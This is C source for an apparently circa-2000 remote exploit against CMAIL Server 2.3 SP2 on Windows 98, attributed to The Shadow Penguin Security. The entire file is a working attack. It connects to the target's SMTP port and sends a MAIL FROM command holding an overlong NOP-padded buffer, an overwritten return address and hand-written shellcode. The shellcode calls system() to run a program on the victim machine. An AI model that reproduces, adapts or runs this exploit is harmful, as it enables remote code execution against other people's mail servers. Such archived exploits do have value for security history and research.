/*=============================================================================
   CMAIL Server 2.3 SP2 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define  BUFSIZE    2000
#define  SMTP_PORT  25
#define  RETADR     626
#define  JMPADR     622
#define  JMPOFS     6
#define  EIP        0xbff7a06b
#define  NOP        0x90
#define  JMPS       0xeb

unsigned char exploit_code[200]={
  0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
  0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
  0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
  0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
  0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
  0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
  0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
  0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
  0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
  0xFF, 0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";

int     main(int argc,char *argv[])
{
  struct hostent      *hs;
  struct sockaddr_in  cli;
  char                packetbuf[BUFSIZE+3000],buf[BUFSIZE];
  int                 sockfd,i,ip;

  if (argc<2)
    {
      printf("usage\n %s HostName\n",argv[0]);
      exit(1);
    }
  bzero(&cli, sizeof(cli));
  cli.sin_family = AF_INET;
  cli.sin_port = htons(SMTP_PORT);
  if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      if ((hs=gethostbyname(argv[1]))==NULL)
        {
          printf("Can not resolve specified host.\n");
          exit(1);
        }
      cli.sin_family = hs->h_addrtype;
      memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }

  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror("socket");
      exit(0);
    }

  if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
    {
      perror("connect");
      exit(0);
    }
  while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0)
    {
      packetbuf[i]=0;
      if(strchr(packetbuf,'\n')!=NULL) break;
    }

  strcat(exploit_code,cmdbuf);
  exploit_code[65]=strlen(cmdbuf+23);
  memset(buf,0x90,BUFSIZE);
  ip=EIP;
  buf[RETADR  ]=ip&0xff;
  buf[RETADR+1]=(ip>>8)&0xff;
  buf[RETADR+2]=(ip>>16)&0xff;
  buf[RETADR+3]=(ip>>24)&0xff;
  buf[JMPADR]  =JMPS;
  buf[JMPADR+1]=JMPOFS;
  memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
  buf[BUFSIZE]=0;

  sprintf(packetbuf,"helo penguin\r\n");
  write(sockfd,packetbuf,strlen(packetbuf));
  while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0)
    {
      packetbuf[i]=0;
      if(strchr(packetbuf,'\n')!=NULL) break;
    }
  printf("%s\n",packetbuf);
  sprintf(packetbuf,"MAIL FROM: aa <%s@aa.com>\r\n",buf);
  write(sockfd,packetbuf,strlen(packetbuf));
  sleep(100);
  close(sockfd);
}
/*                    www.hack.co.za              [2000]*/